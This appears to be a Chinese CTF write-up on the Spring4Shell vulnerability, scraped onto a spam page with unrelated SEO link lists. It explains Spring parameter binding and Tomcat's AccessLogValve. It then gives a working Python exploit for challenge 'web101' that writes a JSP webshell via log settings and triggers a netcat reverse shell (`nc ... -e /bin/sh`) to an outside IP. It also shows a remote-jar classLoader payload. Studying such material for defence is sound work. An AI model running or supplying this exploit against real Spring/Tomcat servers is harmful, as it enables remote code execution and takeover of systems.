当前位置: 首页 > news >正文

还有其他做问卷的网站吗百度关键词排名

还有其他做问卷的网站吗,百度关键词排名,淘宝作图在哪个网站上做图,城乡建设和住房建设部八大员目录 原理概览 漏洞简述 Tomcat AccessLogValve 和 access_log 例题: 原理概览 spring框架在传参的时候会与对应实体类自动参数绑定,通过“.”还可以访问对应实体类的引用类型变量。使用getClass方法,通过反射机制最终获取tomcat的日志配置成员属性…

目录

原理概览

漏洞简述

Tomcat AccessLogValve 和 access_log

例题:


原理概览

spring框架在传参的时候会与对应实体类自动参数绑定,通过“.”还可以访问对应实体类的引用类型变量。使用getClass方法,通过反射机制最终获取tomcat的日志配置成员属性,通过set方法,修改目录、内容等属性成员,达到任意文件写入的目的。

漏洞简述

bean的四个特点:
1.所有属性均为private
2.提供默认的构造方法
3.提供getter和setter方法来操作属性
4.实现Serializable接口

SpringIoC的参数绑定:
当控制器方法接收参数为一个bean时,提交参数,会调用bean的setter方法
不仅可以对控制器参数中的bean属性赋值,还可以对属性的属性进行赋值
例如:
password=123&username=Z3r4y&card.cid=123456

user.getCard.setCid="123456"
user.setUsername="Z3r4y"
user.setPassword="123"

拓展
2010年,爆出CVE,通过内省机制,强制给bean赋值拿到classLoader,通过URL属性远程标签重写,实现rce
通过bean对象的内省机制,可以拿到class对象,拿到classLoader,然后就可以加载恶意类
http://localhost:8080/user?class.classLoader.URLs[0]=jar:http://127.0.0.1:8888/spring-jar.jar!/

修补
Tomcat的修补方式:
检查getter方法时,拿到的属性是classLoader就直接卡死报错
Apache的修补方法:
针对getURLS这个方法,将返回值改为clone,非同一个对象

时间过了7年,在2017年
java迎来了1.9版本,引入了Module机制
user.getClass().getModule().getClassLoader()
这个漏洞就开始存在了,一直在野利用

时间又过了5年,到了2022年
这个漏洞终于浮出水面,新加入的特性没有兼容旧的漏洞修补,造成漏洞利用的绕过

如果配合org.apache.catalina.valves.AccessLogValve类的⽇志参数值,可以直接将恶意代码写⼊服务器,例如
写⼊shell.jsp作为webshell后⻔,从⽽实现远程代码执⾏。

Tomcat AccessLogValve 和 access_log


Tomcat的 Valve ⽤于处理请求和响应,通过组合了多个 Valve 的 Pipeline ,来实现按次序对请求和响应
进⾏⼀系列的处理。其中 AccessLogValve ⽤来记录访问⽇志access_log。Tomcat的 server.xml 中默认
配置了 AccessLogValve ,所有部署在Tomcat中的Web应⽤均会执⾏该 Valve ,内容如下:

参数含义:
- directory:access_log⽂件输出⽬录。

- prefix:access_log⽂件名前缀。

- pattern:access_log⽂件内容格式。

- suffix:access_log⽂件名后缀。

- fileDateFormat:access_log⽂件名⽇期后缀,默认为 .yyyy-MM-dd 。

<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log" suffix=".txt"
pattern="%h %l %u %t &quot;%r&quot; %s %b" />

例题:

web101

import requests
import timeurl = "http://2cc61a3d-98f6-4c62-b3f2-d3c8d93504f5.challenges.ctfer.com:8080/"local_addr="124.222.136.33"
local_port="1337"def get_shell():header={"cmd":"<%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>"}requests.get(headers=header,url=url+"?"+"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2fROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=")print("请等待getShell")time.sleep(2)response = requests.get(url=url+"shell.jsp?a=nc "+local_addr+" "+local_port+" -e /bin/sh")if "Process" in response.text:print("已经成功反弹")else:print("反弹失败"+response.text)if __name__ == '__main__':get_shell()

成功反弹shell

http://www.hrbkazy.com/news/22890.html

相关文章:

  • 软件开发与设计做seo的公司
  • 网站换空间要重新备案吗看书网站排名
  • 自己注册网站网络舆情管理
  • 企业 网站 建设 规范友情链接多少钱一个
  • 查看网站备案信息谷歌商店app下载
  • 关于小城镇建设网站网站seo外链建设
  • html php网站开发报告国外搜索引擎排名
  • 我想学习做网站公司网络营销策划书
  • 自己做视频网站能赚钱吗百度推广的费用
  • WORDPRESS添加注册登入功能西安网络优化大的公司
  • 网站建设开发设计公司北京网站seo优化推广
  • 如何辨别官方网站百度站长提交
  • wordpress 域名变更天津seo结算
  • 如何做网站页面赚钱软件培训班学费多少
  • 做网站语言java如何做好宣传推广
  • 国内设计网站大全发外链的平台有哪些
  • 南昌网站建设服务平台搜索引擎营销sem
  • 广州app网站建设公司推广
  • wordpress图片不同分辨率seo网站怎么优化
  • 互联网网站建设水平郑州seo全网营销
  • 五屏网站建设如何太原搜索引擎优化招聘信息
  • iis5.1新建网站海南百度推广中心
  • 网页设计基础代码网站大数据营销
  • 如何做彩票网站代理网站功能开发
  • 做一件代发哪个网站好搜索引擎有哪些网站
  • 深圳网站建设公司平台best网络推广平台
  • 公司网页设计思路网站关键词排名优化电话
  • 哪个公司网络信号最好快速seo关键词优化方案
  • 响应式网站模板分享网页制作免费模板
  • 珠海网站建设排名2022年列入传销组织最新骗法